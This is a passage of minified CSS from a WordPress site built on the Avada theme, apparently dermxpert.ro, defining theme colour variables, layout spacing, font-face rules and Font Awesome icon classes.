));--privacy_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 70% ));--privacy_bar_padding-top:15px;--privacy_bar_padding-bottom:15px;--privacy_bar_padding-left:30px;--privacy_bar_padding-right:30px;--privacy_bar_bg_color:var(--awb-color7);--privacy_bar_font_size:13px;--privacy_bar_color:var(--awb-color6);--privacy_bar_link_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 75% ),var(--awb-color8-a));--privacy_bar_link_hover_color:var(--awb-color4);--privacy_bar_headings_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 87% ),var(--awb-color8-a));--scrollbar_background:var(--awb-color2);--scrollbar_handle:var(--awb-color4);--related_posts_columns:5;--related_posts_column_spacing:44px;--image_rollover_icon_size:15px;--image_rollover_text_color:var(--awb-color7);--pagination_width_height:30px;--pagination_box_padding-width:6px;--pagination_box_padding-height:2px;--pagination_border_width:1px;--pagination_border_radius:0px;--pagination_font_size:12px;--timeline_bg_color:rgba(255,255,255,0);--timeline_bg_color-not-transparent:rgba(255,255,255,1);--timeline_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));--grid_separator_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));--carousel_nav_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 40% ));--carousel_hover_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 30% ));--info_bg_color:var(--awb-color1);--info_accent_color:var(--awb-color6);--danger_bg_color:var(--awb-color1);--danger_accent_color:var(--awb-color6);--success_bg_color:var(--awb-color1);--success_accent_color:var(--awb-color6);--warning_bg_color:var(--awb-color1);--warning_accent_color:var(--awb-color6);--alert_border_size:1px;--button_padding-top:13px;--button_padding-bottom:13px;--button_padding-left:29px;--button_padding-right:29px;--button_typography-font-family:Poppins;--button_typography-font-weight:600;--button_typography-letter-spacing:2px;--button_font_size:14px;--button_line_height:17px;--button_text_transform:uppercase;--button_gradient_top_color:var(--awb-color4);--button_gradient_bottom_color:var(--awb-color4);--button_gradient_top_color_hover:hsla(var(--awb-color4-h),var(--awb-color4-s),calc(var(--awb-color4-l) - 10%),var(--awb-color4-a));--button_gradient_bottom_color_hover:hsla(var(--awb-color4-h),var(--awb-color4-s),calc(var(--awb-color4-l) - 10%),var(--awb-color4-a));--button_gradient_start:0%;--button_gradient_end:100%;--button_gradient_angle:180deg;--button_radial_direction:center center;--button_accent_color:var(--awb-color1);--button_accent_hover_color:var(--awb-color1);--button_bevel_color:var(--awb-color1);--button_box_shadow:none;--button_bevel_color_hover:var(--awb-color1);--button_border_width-top:0px;--button_border_width-right:0px;--button_border_width-bottom:0px;--button_border_width-left:0px;--button_border_color:var(--awb-color1);--button_border_hover_color:var(--awb-color1);--chart_bg_color:rgba(255,255,255,0);--checklist_icons_color:var(--awb-color1);--checklist_circle_color:var(--awb-color4);--checklist_text_color:var(--awb-color6);--checklist_item_size:16px;--checklist_item_padding-top:0.35em;--checklist_item_padding-bottom:0.35em;--checklist_item_padding-left:0;--checklist_item_padding-right:0;--checklist_divider_color:var(--awb-color3);--checklist_odd_row_bgcolor:rgba(255,255,255,0);--checklist_even_row_bgcolor:rgba(255,255,255,0);--col_margin-top:15px;--col_margin-bottom:15px;--col_spacing:4%;--container_padding_default_top:0px;--container_padding_default_bottom:0px;--container_padding_default_left:30px;--container_padding_default_right:30px;--container_padding_100_top:0px;--container_padding_100_bottom:0px;--container_padding_100_left:30px;--container_padding_100_right:30px;--full_width_bg_color:rgba(255,255,255,0);--full_width_border_sizes_top:0px;--full_width_border_sizes_bottom:0px;--full_width_border_sizes_left:0px;--full_width_border_sizes_right:0px;--full_width_border_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));--content_box_bg_color:rgba(255,255,255,0);--content_box_title_size:24px;--content_box_title_color:var(--awb-color8);--content_box_body_color:var(--awb-color8);--content_box_icon_color:var(--awb-color1);--content_box_hover_animation_accent_color:var(--awb-color4);--countdown_background_color:var(--awb-color5);--countdown_counter_box_spacing:10px;--countdown_counter_box_color:var(--awb-color7);--countdown_counter_padding-top:0.6em;--countdown_counter_padding-right:1.1em;--countdown_counter_padding-bottom:0.6em;--countdown_counter_padding-left:1.1em;--countdown_counter_border_size:0;--countdown_counter_border_color:var(--awb-color7);--countdown_counter_border_radius:4px;--countdown_counter_font_size:18px;--countdown_counter_text_color:var(--awb-color1);--countdown_label_font_size:18px;--countdown_label_color:var(--awb-color1);--countdown_heading_font_size:18px;--countdown_heading_text_color:var(--awb-color1);--countdown_subheading_font_size:14px;--countdown_subheading_text_color:var(--awb-color1);--countdown_link_text_color:var(--awb-color1);--counter_box_color:var(--awb-color5);--counter_box_title_size:50;--counter_box_icon_size:50;--counter_box_body_color:var(--awb-color8);--counter_box_body_size:14;--counter_box_border_color:var(--awb-color3);--flip_boxes_flip_duration:0.8s;--flip_boxes_front_bg:var(--awb-color7);--flip_boxes_front_heading:var(--awb-color2);--flip_boxes_front_text:var(--awb-color3);--flip_boxes_back_bg:var(--awb-color5);--flip_boxes_back_heading:var(--awb-color1);--flip_boxes_back_text:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 20%));--flip_boxes_border_size:1px;--flip_boxes_border_color:rgba(0,0,0,0);--flip_boxes_border_radius:6px;--icon_color:var(--awb-color1);--icon_color_hover:var(--awb-color1);--icon_circle_color:var(--awb-color5);--icon_circle_color_hover:var(--awb-color4);--icon_border_size:#ffffff;--icon_border_color:var(--awb-color8);--icon_border_color_hover:var(--awb-color4);--icon_border_top_l_rad:50%;--icon_border_top_r_rad:50%;--icon_border_bot_r_rad:50%;--icon_border_bot_l_rad:50%;--before_after_font_size:13;--before_after_accent_color:var(--awb-color1);--before_after_handle_color:var(--awb-color1);--before_after_handle_bg:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 50% ));--before_after_transition_time:0.5;--before_after_border_size:0;--before_after_border_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 89% ),var(--awb-color8-a));--before_after_border_radius:0px;--popover_heading_bg_color:var(--awb-color2);--popover_content_bg_color:var(--awb-color1);--popover_border_color:var(--awb-color3);--popover_text_color:var(--awb-color8);--pricing_box_color:var(--awb-color4);--progressbar_text_color:var(--awb-color1);--progressbar_height:48px;--progressbar_filled_color:var(--awb-color5);--progressbar_unfilled_color:var(--awb-color2);--progressbar_filled_border_size:0px;--progressbar_filled_border_color:var(--awb-color1);--sep_color:var(--awb-color3);--tabs_bg_color:var(--awb-color1);--tabs_inactive_color:var(--awb-color2);--tabs_border_color:var(--awb-color3);--testimonial_bg_color:var(--awb-color2);--testimonial-border-width-top:0px;--testimonial-border-width-right:0px;--testimonial-border-width-bottom:0px;--testimonial-border-width-left:0px;--testimonial_text_color:var(--awb-color8);--text_columns:1;--text_column_min_width:100px;--text_column_spacing:2em;--text_rule_style:none;--title_border_color:rgba(255,252,252,0);--title_margin-top:20px;--title_margin-right:0px;--title_margin-bottom:30px;--title_margin-left:0px;--title_margin_mobile-top:0px;--title_margin_mobile-right:0px;--title_margin_mobile-bottom:20px;--title_margin_mobile-left:0px;--accordion_divider_color:var(--awb-color3);--accordion_divider_hover_color:var(--awb-color3);--accordian_inactive_color:var(--awb-color8);--accordian_active_color:var(--awb-color5);--faq_accordion_divider_color:var(--awb-color3);--faq_accordion_divider_hover_color:var(--awb-color3);--faq_accordion_title_typography-font-family:var(--awb-typography2-font-family);--faq_accordion_title_typography-font-weight:var(--awb-typography2-font-weight);--faq_accordion_title_typography-color:var(--awb-color7);--faq_accordian_icon_color:var(--awb-color1);--faq_accordian_inactive_color:var(--awb-color7);--faq_accordion_content_typography-font-family:var(--awb-typography4-font-family);--faq_accordion_content_typography-font-size:var(--awb-typography4-font-size);--faq_accordion_content_typography-font-weight:var(--awb-typography4-font-weight);--faq_accordion_content_typography-color:var(--awb-color6);}#side-header,.fusion-header{--header_bg_color:var(--awb-color1);--archive_header_bg_color:var(--awb-color1);}.fusion-header-wrapper,#side-header{--header_border_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 90% ),var(--awb-color8-a));}.fusion-secondary-header{--header_top_bg_color:var(--awb-color3);--snav_color:var(--awb-color1);}.fusion-header-tagline{--tagline_font_size:16px;--tagline_font_color:var(--awb-color6);}.fusion-arrow-svg,.fusion-header-wrapper,#side-header{--header_sticky_bg_color:var(--awb-color1);}.fusion-main-menu{--header_sticky_menu_color:var(--awb-color3);--header_sticky_nav_font_size:14px;--nav_height:32px;--mobile_nav_padding:35px;--menu_text_align:center;--menu_thumbnail_size-width:26px;--menu_thumbnail_size-height:14px;}.fusion-main-menu,.fusion-logo-background{--header_sticky_nav_padding:65px;}.fusion-menu-highlight-label, .awb-menu__highlight{--main_nav_highlight_radius:0px;}.fusion-flyout-menu-icons{--flyout_nav_icons_padding:45px;--flyout_menu_icon_color:var(--awb-color7);--flyout_menu_icon_hover_color:var(--awb-color4);}.fusion-flyout-menu-bg{--flyout_menu_background_color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc( var(--awb-color1-a) - 5% ));}.fusion-flyout-menu{--flyout_menu_item_padding:28px;}.fusion-secondary-menu{--topmenu_dropwdown_width:180px;--header_top_first_border_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 90% ),var(--awb-color8-a));--header_top_sub_bg_color:var(--awb-color1);--header_top_menu_bg_hover_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 98% ),var(--awb-color8-a));--header_top_menu_sub_sep_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 90% ),var(--awb-color8-a));--header_top_menu_sub_hover_color:var(--awb-color7);}.fusion-header{--top-bar-height:calc(44px / 2);}.fusion-megamenu-submenu{--megamenu_item_vertical_padding:5px;}.fusion-megamenu-icon{--menu_icon_color:var(--awb-color3);--menu_icon_hover_color:var(--awb-color8);}.fusion-logo{--logo_margin-top:31px;--logo_margin-bottom:31px;--logo_margin-left:0px;--logo_margin-right:0px;}.fusion-page-title-bar{--page_title_height:400px;--page_title_mobile_height:250px;--page_title_bg_color:var(--awb-color3);--page_title_border_color:var(--awb-color3);--page_title_font_size:72px;--page_title_line_height:1.35;--page_title_color:var(--awb-color1);--page_title_subheader_font_size:21px;--page_title_subheader_color:var(--awb-color1);--page_title_bg:none;--page_title_bg_retina:var(--page_title_bg);}.fusion-page-title-bar, .fusion-breadcrumbs .awb-breadcrumb-sep{--breadcrumbs_separator:"/";}.fusion-page-title-bar, .fusion-breadcrumbs{--breadcrumbs_font_size:16px;--breadcrumbs_text_color:var(--awb-color1);--breadcrumbs_text_hover_color:var(--awb-color1);}.fusion-sliding-bar{--slidingbar_content_align:left;}.fusion-sb-toggle-wrapper{--slidingbar_toggle_icon_color:var(--awb-color1);}#slidingbar{--slidingbar_font_size:13px;}#slidingbar-area{--slidingbar_headings_color:var(--awb-color1);--slidingbar_text_color:var(--awb-color1);}.fusion-footer-widget-area{--footerw_bg_full-size:initial;--footerw_bg_full-position:var(--footerw_bg_pos);--footerw_bg_repeat:no-repeat;--footerw_bg_pos:center center;--footer_bg_color:var(--awb-color3);--footer_border_size:0px;--footer_border_color:var(--awb-color3);--footer_link_color:var(--awb-color1);--footer_link_color_hover:var(--awb-color1);}.fusion-footer{--footer_area_padding-top:40px;--footer_area_padding-bottom:40px;--footer_area_padding-left:0px;--footer_area_padding-right:0px;--footer_divider_line-flex:block;--footer_divider_line_size:1px;--footer_divider_line_style:solid;--footer_widgets_padding:15px;}.fusion-footer-copyright-area{--copyright_padding-top:50px;--copyright_padding-bottom:50px;--copyright_bg_color:var(--awb-color1);--copyright_border_size:0px;--copyright_border_color:var(--awb-color1);--copyright_link_color_hover:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 32% ),var(--awb-color8-a));}.fusion-copyright-notice{--copyright_text_color:var(--awb-color6);--copyright_link_color:var(--awb-color3);--copyright_font_size:17px;}.sidebar{--sidebar_padding:0px;--sidebar_padding-percent_to_vw:0px;--sidebar_widget_bg_color:rgba(255,255,255,0);--sidew_font_size:13px;--sidebar_heading_color:var(--awb-color7);}.fusion-load-more-button{--blog_load_more_posts_button_bg_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));--blog_load_more_posts_button_text_color:var(--awb-color1);--blog_load_more_posts_hover_button_bg_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),calc( var(--awb-color2-a) - 20% ));--blog_load_more_posts_hover_button_text_color:var(--awb-color1);--portfolio_archive_load_more_posts_button_bg_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));--portfolio_archive_load_more_posts_button_text_color:var(--awb-color1);--portfolio_archive_load_more_posts_hover_button_bg_color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),calc( var(--awb-color2-a) - 20% ));--portfolio_archive_load_more_posts_hover_button_text_color:var(--awb-color1);--blog_element_load_more_posts_button_bg_color:var(--awb-color2);--blog_element_load_more_posts_button_text_color:var(--awb-color7);--blog_element_load_more_posts_hover_button_bg_color:var(--awb-color2);--blog_element_load_more_posts_hover_button_text_color:var(--awb-color7);--portfolio_element_load_more_posts_button_bg_color:var(--awb-color7);--portfolio_element_load_more_posts_button_text_color:var(--awb-color1);--portfolio_element_load_more_posts_hover_button_bg_color:var(--awb-color5);--portfolio_element_load_more_posts_hover_button_text_color:var(--awb-color1);}.fusion-post-content-wrapper{--blog_archive_grid_padding-top:30px;--blog_archive_grid_padding-bottom:20px;--blog_archive_grid_padding-left:25px;--blog_archive_grid_padding-right:25px;}.fusion-portfolio-content{--portfolio_archive_text_layout-padding:20px 0;--portfolio_archive_layout_padding-top:25px;--portfolio_archive_layout_padding-bottom:25px;--portfolio_archive_layout_padding-left:25px;--portfolio_archive_layout_padding-right:25px;}.fusion-portfolio-content-wrapper{--portfolio_archive_text_alignment:left;}.fusion-theme-sharing-box{--sharing_box_tagline_text_color:var(--awb-color7);}.fusion-sharing-box{--sharing_social_links_font_size:16px;}.fusion-social-network-icon{--sharing_social_links_boxed_radius:4px;}.ei-slider{--tfes_dimensions-width:100%;--tfes_dimensions-height:400px;--es_title_font_size:42px;--es_title_color:var(--awb-color7);--es_caption_color:var(--awb-color6);}.avada-google-map{--gmap_topmargin:55px;}.fusion-blog-layout-grid{--search_grid_column_spacing:40px;}.side-nav{--side_nav_font_size:15px;}.fusion-image-wrapper{--image_gradient_top_color:var(--awb-color4);}.fusion-rollover{--image_gradient_bottom_color:var(--awb-color4);--image_rollover_icon_color:var(--awb-color1);}#toTop{--totop_border_radius:4px;--totop_background:var(--awb-color8);--totop_background_hover:var(--awb-color5);--totop_icon_color:var(--awb-color1);--totop_icon_hover:var(--awb-color1);}.shadow-left{--avada-rev-image-shadow-top:1;}.shadow-right{--avada-rev-image-shadow-bottom:1;}body{--awb-alert-border-top-left-radius-default:0px;--awb-alert-border-top-right-radius-default:0px;--awb-alert-border-bottom-right-radius-default:0px;--awb-alert-border-bottom-left-radius-default:0px;--awb-audio-max-width-default:100%;--awb-audio-background-color-default:var(--awb-color8);--awb-audio-accent-color-default:var(--awb-color1);--awb-audio-border-size-default:0;--awb-audio-border-color-default:var(--awb-color1);--awb-audio-border-top-left-radius-default:0px;--awb-audio-border-top-right-radius-default:0px;--awb-audio-border-bottom-right-radius-default:0px;--awb-audio-border-bottom-left-radius-default:0px;--button-border-radius-top-left:0px;--button-border-radius-top-right:0px;--button-border-radius-bottom-right:0px;--button-border-radius-bottom-left:0px;--awb-tabs-title-border-top-left-radius-default:0px;--awb-tabs-title-border-top-right-radius-default:0px;--awb-tabs-title-border-bottom-right-radius-default:0px;--awb-tabs-title-border-bottom-left-radius-default:0px;--awb-testimonial-border-style-default:solid;--awb-testimonial-border-color-default:var(--awb-color3);--awb-testimonial-border-top-left-radius-default:0px;--awb-testimonial-border-top-right-radius-default:0px;--awb-testimonial-border-bottom-right-radius-default:0px;--awb-testimonial-border-bottom-left-radius-default:0px;--fusion-video-max-width-default:100%;}.fusion-scroll-section-nav{--container_scroll_nav_bg_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc( var(--awb-color8-a) - 80% ));}.fusion-scroll-section-link-bullet{--container_scroll_nav_bullet_color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc( var(--awb-color8-l) + 93% ),var(--awb-color8-a));}.fusion-body .fusion-dropcap{--dropcap_color:var(--awb-color5);--dropcap_text_color:var(--awb-color1);}.fusion-social-links{--social_links_font_size:24;--social_links_boxed_padding:16px;}@media only screen and (max-width: 800px){.has-sidebar #content{order:1;}.has-sidebar #sidebar{order:2;margin-top:50px;}.has-sidebar #sidebar-2{order:3;margin-top:50px;}}@font-face {font-family: "awb-icons";src:url('//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/icomoon/awb-icons.woff') format('woff'),url('//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/icomoon/awb-icons.ttf') format('truetype'),url('//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/icomoon/awb-icons.svg#awb-icons') format('svg');font-weight: normal;font-style: normal;font-display: swap;}.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-webkit-transform:scale(1,-1);transform:scale(1,-1)}.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1,-1);transform:scale(-1,-1)}:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:normal;src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.eot);src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.woff2) format("woff2"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.woff) format("woff"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.ttf) format("truetype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.svg#fontawesome) format("svg");font-display: swap;}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.eot);src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.woff2) format("woff2"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.woff) format("woff"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.ttf) format("truetype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.svg#fontawesome) format("svg");font-display: swap;}.far{font-family:"Font Awesome 5 Free";font-weight:400;}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.eot);src:url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.woff2) format("woff2"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.woff) format("woff"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.ttf) format("truetype"),url(//dermxpert.ro/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.svg#fontawesome) format("svg");font-display: swap;}.fa,.fas{font-family:"Font Awesome 5 Free";font-weight:900}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-bacteria:before{content:"\e059"}.fa-bacterium:before{content:"\e05a"}.fa-bahai:before{content:"\f666"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blog:before{content:"\f781"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bootstrap:before{content:"\f836"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before{content:"\f853"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-buffer:before{content:"\f837"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-